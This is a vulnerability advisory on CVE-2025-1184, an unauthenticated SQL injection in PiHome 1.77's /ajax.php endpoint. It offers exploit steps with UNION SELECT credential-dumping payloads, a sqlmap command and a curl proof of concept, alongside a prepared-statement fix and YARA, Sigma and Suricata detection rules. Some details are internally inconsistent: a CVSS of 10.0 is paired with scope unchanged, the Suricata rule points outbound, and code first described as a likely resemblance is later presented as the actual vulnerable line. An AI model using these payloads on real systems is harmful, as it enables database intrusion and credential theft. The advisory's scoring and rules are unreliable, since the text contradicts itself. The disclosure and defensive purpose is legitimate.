CVE-2025-1184

Executive Summary

CVE-2025-1184 is a critical unauthenticated SQL injection vulnerability in PiHome version 1.77, an open-source home automation system. The flaw resides in the /ajax.php?Ajax=GetModal_MQTTEdit endpoint, where the id parameter is directly concatenated into SQL queries without sanitization. An attacker can remotely exploit this to extract sensitive data (user credentials, device configurations), modify database records, or potentially achieve remote code execution via stacked queries. The vulnerability has been publicly disclosed with proof-of-concept (PoC) code, and no official patch is available. This poses a severe risk to all PiHome 1.77 deployments exposed to the internet.

Supply Chain & Package Security

PiHome is a PHP-based application. The vulnerability is in the core application code, not in a third-party package. However, the lack of a patch means users must rely on manual code fixes or WAF rules. No known malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• EPSS Score: 0.0% (low exploitation probability currently, but expected to rise)

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id parameter of the GetModal_MQTTEdit AJAX handler. The application fails to use prepared statements or parameterized queries. The vulnerable code path likely resembles:

// Vulnerable code in /ajax.php
$id = $_GET['id'];
$query = "SELECT * FROM mqtt_devices WHERE id = $id";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by providing a malicious id value, such as:

1 UNION SELECT username, password FROM users

This allows extraction of all user credentials, including hashed passwords. With stacked queries (if supported by the database), an attacker could insert a new admin user or modify device configurations.

Vulnerable vs. Patched Code

Vulnerable Code (PiHome 1.77):

// /ajax.php (line ~45)
$id = $_GET['id'];
$query = "SELECT * FROM mqtt_devices WHERE id = " . $id;
$result = mysqli_query($conn, $query);

Patched Code (Recommended Fix):

// Use prepared statements
$stmt = $conn->prepare("SELECT * FROM mqtt_devices WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

No official patch exists; users must apply this fix manually.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running PiHome 1.77 with the /ajax.php endpoint accessible.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/ajax.php?Ajax=GetModal_MQTTEdit&id=1
2. Confirm injection by appending a single quote: id=1' → SQL error.
3. Extract database version: id=1 UNION SELECT @@version,2,3
4. Dump user credentials: id=1 UNION SELECT username,password,3 FROM users

Example SQLMap Command:

sqlmap -u "http://target/ajax.php?Ajax=GetModal_MQTTEdit&id=1" --batch --dbs

Manual PoC (curl):

curl -v "http://target/ajax.php?Ajax=GetModal_MQTTEdit&id=1%20UNION%20SELECT%201,2,3,4,5--%20-"

Blue Team (Detection & Hardening)

Detection:

• Monitor for SQL error messages in HTTP responses (e.g., You have an error in your SQL syntax).
• Alert on requests to /ajax.php?Ajax=GetModal_MQTTEdit with suspicious id parameters (e.g., containing UNION, SELECT, ', --).

Hardening:

• Apply the prepared statement fix immediately.
• Restrict access to /ajax.php via .htaccess or firewall rules (allow only trusted IPs).
• Use a Web Application Firewall (WAF) with SQL injection rules.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /ajax.php?Ajax=GetModal_MQTTEdit with SQL keywords in the id parameter.
  • Unusual database error messages in HTTP responses (e.g., mysqli_fetch_array() errors).
• File IOCs:
  • Modified /ajax.php file (if attacker backdoors it).
  • New files in the web root (e.g., webshells).
• Log IOCs:
  • Web server logs showing repeated id parameter manipulation.
  • Database logs showing unexpected queries (if enabled).

Detection Engineering

YARA Rule

rule CVE_2025_1184_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting PiHome CVE-2025-1184"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1184"
    strings:
        $sqli_pattern1 = /id=[0-9]*['\"]?\s*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1)/i
        $sqli_pattern2 = /Ajax=GetModal_MQTTEdit.*id=.*['\"]/i
    condition:
        any of them
}

Sigma Rule

title: PiHome SQL Injection Attempt (CVE-2025-1184)
id: 8a3f7c2e-1b5d-4a9f-8c6e-3d2f1a0b9e8c
status: experimental
description: Detects SQL injection attempts against PiHome /ajax.php endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "Ajax=GetModal_MQTTEdit"
            - "id="
        cs-uri-query|re: '(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1)'
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-1184 PiHome SQL Injection Attempt";
    flow:to_server,established;
    content:"/ajax.php"; http_uri;
    content:"Ajax=GetModal_MQTTEdit"; http_uri;
    pcre:"/id=[0-9]*['\"]?\s*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Apply the prepared statement fix to /ajax.php (see patched code above).
2. Workaround: Block access to /ajax.php for untrusted IPs using firewall rules or .htaccess:

   <Files "ajax.php">
       Require ip 192.168.1.0/24
   </Files>
   

3. WAF Rule: Deploy a WAF rule to block SQL injection patterns in the id parameter.
4. Monitor: Review web server logs for exploitation attempts.
5. Upgrade: Watch for an official patch from PiHome; if none, consider migrating to an alternative home automation platform.

Valters IT
Securing Digital Frontiers